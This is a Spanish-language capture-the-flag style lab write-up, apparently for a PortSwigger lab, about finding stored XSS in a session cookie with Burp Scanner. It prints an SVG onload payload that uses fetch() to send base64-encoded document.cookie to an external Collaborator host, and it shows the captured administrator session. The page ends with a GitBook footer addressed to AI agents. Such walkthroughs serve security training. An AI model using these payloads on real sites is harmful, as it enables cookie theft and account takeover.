> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/essential-skills/analyzing-non-standard-data-structures.md).

# Análisis de estructuras de datos no estándar

### Escaneo de estructuras de datos no estándar

**Contexto del laboratorio**

Este laboratorio contiene una vulnerabilidad difícil de identificar manualmente porque se encuentra en una **estructura de datos no estándar**. / El objetivo es usar **Burp Scanner**, en particular la **Escanear el punto de inserción seleccionado** funcionalidad, para detectar la vulnerabilidad y luego explotarla manualmente para **eliminar al usuario `carlos`**.

Identificador proporcionado:

* **Usuario**: wiener
* **Contraseña**: peter

**Paso 1 – Autenticación**

Conéctate a la aplicación a través de la página de inicio de sesión con las credenciales proporcionadas.

<figure><img src="/files/52987ef5fa050f77be83ea81e02216f80b618826" alt=""><figcaption></figcaption></figure>

**Paso 2 – Escaneo dirigido en un punto de inserción**

En lugar de ejecutar un escaneo global, se realiza un escaneo altamente dirigido:

* Se intercepta una solicitud autenticada.
* Solo se selecciona el **valor de la cookie de sesión** se selecciona.

<figure><img src="/files/54ab7b770d768da1df2066ebe0c111be192bed2c" alt=""><figcaption></figcaption></figure>

* Lanzamos **Burp Scanner → Escanear el punto de inserción seleccionado** sobre este elemento específico.

Este escaneo minimalista permite analizar un área rara vez probada manualmente: la estructura interna de la cookie.

<figure><img src="/files/034abf168f9f298092d55eca7d419ef00632437d" alt=""><figcaption></figcaption></figure>

**Paso 3 – Detección de vulnerabilidad**

Burp Scanner identifica una vulnerabilidad de tipo:

* **Cross-Site Scripting (XSS) almacenado**

La carga útil detectada se inyecta directamente en la cookie de sesión.

<figure><img src="/files/1e1ffd23e85dae6c32de485442a525696d29a54c" alt=""><figcaption></figcaption></figure>

Ejemplo de carga útil inicial detectada:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch`//uqo5wxufqik239ij6afcc710crik6hu6.oastify/.oastify.com`>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

**Paso 4 – Exfiltración de la cookie mediante Burp Collaborator**

Adaptamos la carga útil para extraer `document.cookie` el contenido a nuestro servidor Collaborator, codificado en Base64:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch(`//uqo5wxufqik239ij6afcc710crik6hu6/.oastify.com/${btoa(document.cookie)}`)>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

Luego **codificamos en URL** la carga útil antes de inyectarla:

```bash
'%22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

<figure><img src="/files/e835417fa3298f72626f16ac747a9724bfdc0ad8" alt=""><figcaption></figcaption></figure>

**Paso 5 – Recuperación y decodificación de la cookie de administrador**

El servidor Collaborator recibe una solicitud que contiene la cookie codificada en Base64:

```bash
GET
/c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY=
```

Tras decodificarla, obtenemos:

```bash
session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv
```

<figure><img src="/files/97132312fed75f2a6325275c88b21b4bfc0c4704" alt=""><figcaption></figcaption></figure>

**Paso 6 – Acceso de administrador y operación final**

Usando la cookie de sesión de administrador:

* La interfaz **admin** se accede.
* Una página interna de **registros** es accesible.
* Esta página mostraba cookies sin filtrar, lo que explica la persistencia del **XSS almacenado**.
* Entonces es posible eliminar al usuario **carlos** y validar el laboratorio.

<figure><img src="/files/01147f8f67eabdde2d336bb9691ddb813b3e32ca" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/essential-skills/analyzing-non-standard-data-structures.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
